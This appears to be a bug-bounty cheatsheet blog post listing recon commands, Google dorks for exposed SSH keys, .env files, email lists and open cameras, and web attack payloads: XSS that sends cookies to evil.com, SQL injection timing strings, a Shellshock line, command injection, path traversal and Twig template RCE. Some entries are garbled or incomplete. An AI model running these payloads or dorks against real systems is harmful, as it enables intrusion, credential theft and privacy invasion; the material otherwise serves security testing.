Featured image of post Bug Bounty Essentials - A Comprehensive Cheatsheet

Bug Bounty Essentials - A Comprehensive Cheatsheet

Recon Workflow

1. Initial Reconnaissance

1.1 Finding Subdomains

  1. Linked & JS Discovery with Burp Suite Pro
    • Turn off passive scanning
    • Set forms to auto-submit
    • Configure scope and keywords
    • Browse the main site
    • Spider all hosts
    • Go to Target → Scope → Advanced Scope Control → Add host or IP range
    • Show only scope items
    • Select all hosts → Engagement Tools → Analyze Target → Save report as HTML file
  2. Other Tools for Subdomain Discovery
    • Gospider
    • hakrawler
    • Subdomainizer:
      • Find subdomains referenced in JS files
      • Identify cloud services referenced in JS files
      • Use Shannon Entropy formula to find potentially sensitive items in JS files
    • subscraper: If only looking for subdomains
  3. Scraping with Amass
    • amass -d example.com
  4. Scraping with Subfinder v2
    • subfinder -d example.com -v
  5. Scraping with Github-subdomains.py
    • python3 github-subdomains.py -t "githubpersonalaccounttoken" -d example.com > example.com
  6. Scraping with Cloud Ranges
    • Technique to monitor AWS, GCP, Azure for SSL

1.2 Subdomain Brute Forcing

  1. With Amass
    • Guessing for live subdomains with a large list of common subdomain names
    • amass enum -brute -d example.com -src
    • amass enum -brute -d example.com -rf resolvers.txt -w bruteforce.list
  2. With shuffleDNS
    • shuffledns -d example.com -w words.txt -r resolvers-excellent.txt
  3. Subdomain Brute Forcing Lists
  4. Alteration Scanning
    • altdns:
      • dev1.example.com
      • dev2.example.com
      • dev-1.example.com

2. Infrastructure Discovery

  1. Finding Infrastructure Sources
    • Censys
    • Robtex
    • Wayback Machine
    • DNSdumpster
    • PTRarchive.com
    • Netcraft
    • DNSDB Search
    • PassiveTotal
  2. Certificate Sources
  3. Security Sources

3. Port Analysis & Service Analysis

  1. Port Analysis with Massscan
    • massscan -p1-65535 <ip> --max-rate 1800 -oG outputfile.txt
  2. Port Analysis with Dnmasscan
    • dnmasscan outputfile.txt dns.log -p80,443 -oG masscan.log
  3. Service Scanning with Brutespray
    • Scan remote administration protocols for default passwords, which takes Nmap OG file format
    • Massscan → nmapservice scan -oG → brutespray credential brute force

4. Vulnerability Discovery

  1. Subdomain Takeover
  2. Screenshotting
    • eyewitness
    • aquatone
    • httpscreenshot

5. Google Dorking

  1. Scraping with Google
    • site:example.com -www.example.com
    • site:example.com -www.example.com -sub.example.com
    • site:example.com -www.example.com -sub.example.com -dev.example.com

6. Automation Tools & Frameworks

  1. Extending Tools
  2. C-tier Frameworks
  3. B-tier Frameworks
  4. A-tier Frameworks
  5. S-tier Frameworks

7. Mindmaps

  1. XMind

Google Dork Techniques

1. Basic Search Operators

  • cache:

    Shows the cached version of any website.

    Example: cache:example.com

  • allintext:

    Searches for specific text contained on any web page.

    Example: allintext: hacking tools

  • allintitle:

    Searches for pages with titles containing specific text.

    Example: allintitle:"Security Companies"

  • allinurl:

    Fetches results whose URL contains all the specified characters.

    Example: allinurl: client area

  • filetype:

    Searches for specific file extensions.

    Example: filetype: jpg filename:id_rsa

  • inurl:

    Searches for URLs containing a specific keyword.

    Example: inurl: admin

  • intitle:

    Searches for keywords in the title of pages.

    Example: intitle:secu

  • inanchor:

    Searches for pages with exact anchor text used in links.

    Example: inanchor:"cyber security"

  • intext:

    Locates pages containing certain strings inside their text.

    Example: intext:"safe internet"

  • link:

    Shows pages linking to a specified URL.

    Example: link: microsoft.com

  • site:

    Shows a list of all indexed URLs for a specified domain or subdomain.

    Example: site:securitytrails.com

  • wildcard (*)

    Used to search for pages that contain “anything” before your word.

    Example: * a website

  • logical OR (|)

    Finds sites containing either one term or another.

    Example: "security" "tips"

  • plus (+)

    Concatenates words to detect pages using more than one specific key.

    Example: security + trails

  • minus (-)

    Excludes pages containing certain words.

    Example: security -trails

2. Advanced Search Techniques

  • Log Files

    Searches for results including usernames inside log files.

    Example: allintext:username filetype:log

  • Vulnerable Web Servers

    Detects vulnerable or hacked servers.

    Example: inurl:/proc/self/cwd

  • Open FTP Servers

    Finds public FTP servers which may reveal interesting information.

    Example: intitle:"index of" inurl:ftp

  • ENV Files

    Searches for .env files used by web development frameworks.

    Example: site:example.com/.env

  • SSH Private Keys

    Finds exposed SSH private keys.

    Example: intitle:index.of id_rsa -id_rsa.pub

  • Putty Logs

    Fetches SSH usernames from Putty logs.

    Example: filetype:log username putty

  • Email Lists

    Searches for Excel files containing email addresses.

    Example: filetype:xls inurl:"email.xls"

  • University Email Lists

    Filters for .edu domain names to find educational email lists.

    Example: site:.edu filetype:xls inurl:"email.xls"

3. Media and Camera Searches

  • Live Cameras

    Fetches live camera web pages not restricted by IP.

    Example: inurl:top.htm inurl:currenttime

  • WebcamXP-Based Transmissions

    Finds webcamXP-based live streams.

    Example: intitle:"webcamXP 5"

  • General Live Cameras

    Finds general live camera feeds.

    Example: inurl:"lvappl.htm"

  • MP3 Files

    Searches for MP3 files available on the web.

    Example: intitle: index of mp3

  • PDF Files

    Finds legal free PDF documents.

    Example: intitle: index of pdf intext: .mp4

  • Weather Devices

    Fetches transmissions from Weather Wing devices.

    Example: intitle:"Weather Wing WS-2"

Vulnerability Testing and Approaches

1. Privilege Escalation

Approach: Horizontal (admin-admin & user to user) / Vertical Privilege Escalation (User to admin)

2. Privacy Settings Bugs

Approach: (Details missing)

3. Session Bugs

Approach:

  • Check if session tokens/access tokens:
    • Expires on logout
    • Password reset/change
    • Expires on user removal
    • Expires on changing roles
    • Insufficient session fixation (cookie editor extension used)****

4. Insecure CORS Misconfiguration

Approach:

  • Curl command to detect: curl <http://site.com> -H "Origin:<http://evil.com>" -I
  • Check Access-Control-Allow-Origin header:
    • `` (not exploitable)
    • origin: evil.com
    • origin: site.evil.com
    • origin: null
  • If any site disclosing usernames & password, try CORS exploit.Tool Used: Corsy / Burp Suite

5. CSRF

Approach:

  • Intercept the victim request & generate CSRF PoC; send to server as an attacker
  • CSRF can be GET or POST based
  • Try in all state-changing requests
  • Use jsfiddle.net online tool
  • Check if it validates origin/referer. If not, CSRF is possible.
  • Check if it is cookie-based authentication.
  • If anti-CSRF tokens are present:
    1. Remove anti-CSRF tokens & parameter
    2. Pass blank parameter
    3. Add similar length token
    4. Add another user’s valid anti-CSRF token
    5. Random token in long length (e.g., aaaaaaaaa)
  • If content-type verification:
    1. If no anti-CSRF tokens are present
    2. Try content-type: text/plain
  • Flash CSRF
  • Check if any cross-domain policy using SWF JSON tool.Tool Used: jsfiddle.net / Burp Suite

6. XSS

Approach:

  1. Input value (try payload like "<script>alert(document.domain)</script>") reflected without XSS protection
  2. Use XSS validator - Intruder
  3. Host header injection through XSS:
    • Add referer: batman
    • Add hostheader: bing.com
  4. URL redirection through XSS:
    • document.location.href="<http://evil.com>"
  5. Phishing through XSS - iframe injection:
    • <iframe src="<http://evil.com>" height="100" width="100"></iframe>
  6. Cookie stealing through XSS:
    • document.location.href="<http://evil.com/p/?page=>" + document.cookie
  7. File upload through XSS:
    • Upload a picture file, intercept it, and change picture.jpg to XSS payload using Intruder attack
  8. Remote File Inclusion (RFI) through XSS:
    • php?=http://brutelogic.com.br/poc.svg - xsspayload
  9. Convert self XSS to reflected one:
    • Copy response in a file.html -> it will work
  10. XSS through URI parameters:
    • site.com/about/xss"><script>Tool Used: XSS Validator / Burp Suite

7. Host Header Injection

Approach:

  1. URL redirection through host header:
    • Check URL having 2xx, 3xx
    • Change X-forwarded-host to realweb.com and bing.com
  2. Web cache poisoning through Host Header Injection:
    • Injection will be reflected in any buttons of the page
  3. Host header attack on password reset page
  4. XSS through Host Header Injection****

8. URL Redirection or Open Redirect

Approach:

  1. Common parameter list:
    • dest, redirect, uri, path, continue, url, window, to, out, view, dir, show, navigation, open, u, file, val, validate, domain, callback, return, page, feed, host, port, next, data, reference, site, html
  2. Test URLs:
    • site.com/bing.com, site.com//bing.com, site.com/payloads****

9. Parameter Tampering

Approach: Apply to ecommerce websites

10. HTML Injection

Approach:

  1. Use GET or POST method
  2. Input value reflecting back
  3. Test with HTML payload like <h1>adam</h1>
  4. URL redirection via HTML injection****

11. File Inclusion

Approach:

  1. Local File Inclusion (LFI) & Remote File Inclusion (RFI)
  2. For LFI, try:
    • any.com/index.php?reference=login.php
  3. For RFI, try:
    • any.com/?share=http://evil.com/
    • Common parameters to look for:
      • file, document, folder, root, path, pg, style, pdf, template, php_path, doc, dest, redirect, uri, path, continue, url, window, next, data, reference, site, html, val, validate, domain, callback, return, page, feed, port, host, to, out, view, dir, show, navigation, open
  4. For LFI, check:
    • /var/www/html/ & /etc/passwd
    • ../../etc/passwdTool Used: Lfisuite tool from GitHub

12. Missing SPF, DMARC Records

Approach:

13. SSRF (Server-Side Request Forgery)

Approach:

  1. Make a request from a vulnerable application to a target website.
  2. Common parameters to look for:
    • dest, redirect, uri, path, continue, url, window, next, data, reference, site, html, val, validate, domain, callback, return, page, view, dir, show, file, document, folder, root, path, pg, style, pdf, template, php_path, doc, feed, host, port, to, out, navigation, open, result
  3. Detection using:
    • https://www.expressvpn.com/what-is-my-ip
    • Burp Collaborator
  4. For exploitation, try:
    • any.com/index/php?uri=http://external.com
    • Read file from server (e.g., file:///identf using LFI payloads)
    • Scan internal network (e.g., http://localhost:1 changing the port number to common ports like 21, 22)
    • SSRF with RFI: Execute code from the external domain (e.g., use hackoff.html with XSS script)Tool Used: Burp Collaborator / https://www.expressvpn.com/what-is-my-ip

14. Critical File Found & Source Code Disclosure

Approach:

  1. Use payloads from:
    • https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
  2. Utilize dirsearch****

15. Subdomain Takeover

Approach:

  • If the website is not in use by the target and is hosted on a service provider:
    • Sign up on service providers like GitHub, Heroku, Shopify, Zendesk, AWS, Tumblr, etc., to attempt domain takeoverTool Used: github.com/nahamsec/HostileSubBruteforcer

16. Command Injection

Approach:

  1. Take input as a command and reflect the output of that command.
  2. Common parameters to look for:
    • daemon, host, upload, dir, execute, download, log, ip, cli, cmd, filename
  3. Find command injection using delimiter list (e.g., ;, ^, &, &&, |, ||, %0D, %0A, \\n, <)
  4. Identify input fields interacting with the OS shell.
  5. Try with delimiter & shell commands (e.g., ;dir, ;/etc/passwd)
  6. Intercept requests using Clusterbomb - first parameter for delimiter & second for command payloadsTool Used: github.com/commixproject/commix.git

17. File Upload Vulnerability

Approach:

  1. Simple file upload (e.g., shell.php) for full control of the server and running shell commands.
  2. Use payloads from:
    • github.com/fuzzdb-projects/fuzzdb/tree/master/attack/file-upload/malicious-images
  3. Pixel flood attack.
  4. Verify content type.
  5. Check extension verification.Tool Used: github.com/almandin/fuxploider

18. XXE Injection (XML External Entity Injection)

Approach:

  1. Use XXE payloads in Intruder to detect.
  2. Check if the website is accepting content-type=text/xml header with a 200 OK response.
  3. Use online tool pingb.in to check for external ping.
  4. For blind XXE, use Python’s SimpleHTTPServer (e.g., python -m SimpleHTTPServer 80).
  5. SYSTEM file:///etc/passwd for local file read.
  6. SYSTEM http://systemip/readinganyfile for blind XXE.
  7. Use php:// for Remote Code Execution (RCE).
  8. Use Gopher or other URI handlers to exploit XXE.Common Places to Find XXE:
  • XML file upload (e.g., config files)
  • XML input fields
  • XML-based APIs
  • XML-based files (e.g., RSS, SVG)Tool Used: pingb.in / Burp Suite

19. Account Lockout

Approach:

  1. Prevent brute-force attacks.
  2. Intercept the login page with user credentials using Burp Suite.
  3. Send the request to Sequencer.
  4. Alternatively, use Intruder to make multiple requests (e.g., 1000 times).
  5. Perform credential stuffing.
  6. Ensure the account locks out for 30 minutes to 24 hours.****

20. Blind XSS

Approach:

  1. A type of stored XSS where attacker input is saved in the server and stored in the database.
  2. It won’t be reflected immediately.
  3. Look for blind XSS in pages like:
    • Contact us
    • Log viewers
    • Feedback pages
    • Chat apps
    • Ticket generation apps
    • Any app using moderation or updates
    • Saving forms
  4. Use the online tool xsshunter.com.
  5. Copy the payload and paste it in the input field.
  6. Reflection will be found on xsshunter.com.
  7. Perform multiple blind XSS using Intruder.**** / XSSHunter.com

21. Buffer Overflow (Web)

Approach:

  1. Intercept the login page and pass a long string of passwords or other inputs. Observe if the page loads slowly.
  2. Types of overflows to consider: Buffer, Stack, Heap, Integer, Format String.
  3. Denial of Service (DoS) attacks using buffer overflow can be attempted.****

22. CMS Vulnerability Hunting

Approach:

  1. Target common CMS platforms: WordPress, Joomla, Drupal, vBulletin, Magento.
  2. Identify vulnerable components within the CMS.
  3. Search for exploits using Google.Tools Used: WPScan, CMSMap, CMSSCAN, Joomscan, Drupwn, vBulletin Scanner, Mage Scanner, OWASP VBScan

23. IDOR (Insecure Direct Object References)

Scenario 1:

  1. Often found in user settings or profile management.
  2. Requires two accounts.
  3. Intercept the request and change the email ID of the attacker.
  4. Log out and attempt to log in with the victim’s account to see if the change was successful.

Scenario 2: User Moderation:

  1. Find the user ID.
  2. Replace the victim’s ID with the attacker’s ID.
  3. Perform the functionality to see if access is granted.****

24. Long Password DoS Attack

Approach:

  1. Hashing passwords can be resource-intensive, leading to potential DoS.
  2. Similar to buffer overflow attacks but specifically targeting password fields without length limits.
  3. Sign up for an account and intercept the request.
  4. Input a password longer than the typical length and forward the request.
  5. This can cause application DoS.****

25. No Rate Limiting Vulnerability (Logical Flow)

Approach:

  1. Capture the forgot password page or any similar request with Burp Suite.
  2. Send the request to Intruder.
  3. Make multiple requests (e.g., 1000 times) to test for rate limiting issues.
  4. This can impact both user and server performance.****

26. Password Reset Poisoning

Approach:

  1. Intercept the forgot password page with Burp Suite.
  2. Perform a host header attack.
  3. The victim will receive a password reset email from an “evil” website specified in the host header.****

27. Broken Access Control

Approach:

  1. IDOR Example:
    • Access with account 1: https://acme.com/changepw/id?=1234
    • Create a second account and access it: https://acme.com/changepw/id?=5678
    • Logout from account 1, log into account 2, and attempt to change the password of account 1 by modifying the user ID in the request.
  2. Hash-Based IDOR:
    • User IDs might be hashed (e.g., Base64).
  3. Local File Inclusion (LFI) & Path Traversal:
    • Example request: GET /view?pg=../../../../../etc/passwd%00
  4. Common Parameters to Look For:
    • id, user, account, number, order, no, doc, key, email, group, profile, edit
  5. Functions to Test:
    • Change email, change password, upgrade/downgrade user role, create/remove/update/delete context-specific app data (e.g., shipping, invoices, document viewing).
  6. Missing Function Level Access Control:
    • Forceful browsing (e.g., GET /admin/viewTransactions, GET /ADMIN/viewTransactions)
  7. Parameter Manipulation & Logic Bugs:
    • Example: Giving a negative price.
  8. Logic Flow Vulnerabilities in E-commerce:
    • Skipping steps in workflows (e.g., additem->checkout->enter shipping info->payment).

Tools Used: Burp Suite Extensions (AuthMatrix, AuthZ, Authorize, AutoRepeater)

28. Account Takeover via Forgot Password Page

Approach:

  1. Intercept the forgot password page with Burp Suite.
  2. Add X-Forwarded-Host: bing.com to the request header.
  3. Forward the request to test for account takeover vulnerabilities.****

29. Broken Access Control

Approach:

  1. Create an account.
  2. Change the email ID from A to B.
  3. Generate a forgot password request for email A.
  4. Repeat the same process for passwords.****

30. Rate Limiting Bypass

Approach:

  1. Intercept the forgot password page with Burp Suite.
  2. Send the request to Intruder.
  3. Add X-Forwarded-Host: bing.com to the request header.
  4. Target the request to email and forward it to test for rate limiting bypass.****

31. Lack of Password Confirmation

Approach:

  1. Required for actions such as deleting an account or changing an email ID.
  2. Verify that a password confirmation step is missing in these processes.****

32. 2FA or OTP Bypass

Approach:

  1. Complete the registration process and request an OTP code.
  2. Intercept the OTP request using Burp Suite.
  3. Send the intercepted request to Intruder.
  4. Bruteforce the 6-digit OTP through Burp Intruder if there’s no rate limiting or CAPTCHA.
  5. Analyze content length and attempt multiple combinations until bypassing OTP verification.****

33. Blind SQL Injection

Approach:

  1. Check input fields and insert payloads such as id=1.
  2. Insert payloads in user-agent or other input parameters.
  3. Confirm by changing the time interval with payloads like:
    • id=5+and+1=2
    • ',0)waitfor delay'0:0:05'--
    • if(now()=sysdate(),sleep(5),0)) --
    • (select(0)from(select(sleep(3)))v)/*'+(select(3)from(select(sleep(3)))v)+'""+(select(0)from(select(sleep(3)))v)+""*/
    • 0'XOR(if(now()=sysdate(),sleep(3),0))XOR'Z
    • ' and extractvalue(1,concat(0x0a,@@version)) or**** or Cookie Manager

34. Remote Code Execution Vulnerability

Approach:

  1. Visit the target website and create an account.
  2. Verify the email address and navigate to profile settings.
  3. Upload a malicious file (e.g., RCE.php%00.gif) as the company logo and save.
  4. View the uploaded image URL and append ?cmd=id to execute the id command.

Scenario 2:

  1. Crawl the target website using Burp Suite.
  2. Check for /cgi-bin/status.
  3. Send to Repeater and replace User-Agent with payload like {:;};echo $(</etc/passwd).
  4. Send the request to see if it reveals root user info.**** or Manual

35. Stealing OAuth Token

Approach:

  1. Log in using a third-party app (e.g., Facebook, Gmail).
  2. Intercept the request using Burp Suite.
  3. Modify redirect_url to a domain you control (e.g., bugbountypoc.com).
  4. If necessary, change the referer header to the same domain.****

36. External Service Interaction

Approach:

  1. Capture the request using Burp Suite.
  2. Send the request to Repeater.
  3. Replace Host header with Burp Collaborator payload or add a new X-Forwarded-For header with the same payload.
  4. Forward the request and check if Burp Collaborator receives a DNS lookup request.****

37. Server-Side Include (SSI) Injection

Approach:

  1. Intercept the request using Burp Suite.
  2. Spider the target host.
  3. Search for pages with .shtml extensions.
  4. Inject payloads like <!--#echo var="DATE_LOCAL" --> into input fields.
  5. Forward the request and check the response for injected data.****

38. Client and Server-Side Template Injection

Approach:

  1. Check if user input is reflected on the webpage. Insert payloads to test for template injection.
  2. Common Template Engines:
    • FreeMarker (Java-based)
    • Velocity (Java-based)
    • Smarty (PHP-based)
    • Twig (PHP-based)
    • Jade (Node.js-based)
    • Jinja2 (Python/Flask-based)

Manual Checking:

  1. Example Payloads:
    • curl -g '<http://www.target.com/page?name=John'>
    • curl -g '<http://www.target.com/page?name={{7*7}>}'

Automation Tool:

  1. https://github.com/epinna/tplmap

Basic Payloads:

  • {{7*7}}
  • {{7*'7'}}
  • {% extends "/etc/passwd" %}

RCE Payload (Twig):

  • {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}Tool Used: Manual Checking, curl, tplmap

39. Exif GeoLocation Data Not Stripped

Approach:

  1. Download an image from https://github.com/ianare/exif-samples.
  2. Go to JPG properties and check GPS data.
  3. Upload the image to the target website.
  4. Copy the image URL and paste it into an EXIF data tool (e.g., http://metapicz.com/).Tool Used: Exif.regex.info/exif.cgi

40. CRLF Injection

Approach:

  1. Capture a request using Burp Suite.
  2. Insert arbitrary data in the input field (e.g., aaaaaaaaaaaaa).
  3. If the input is reflected in the response header, it may be vulnerable.
  4. Test Carriage Return (%0A) and Linefeed (%0D) payloads.
  5. Example Payload:
    • %0a%0dxxxxxxxxxxxxx
    • return_url=aaaa%0a%0dset-cookie:mycookie****
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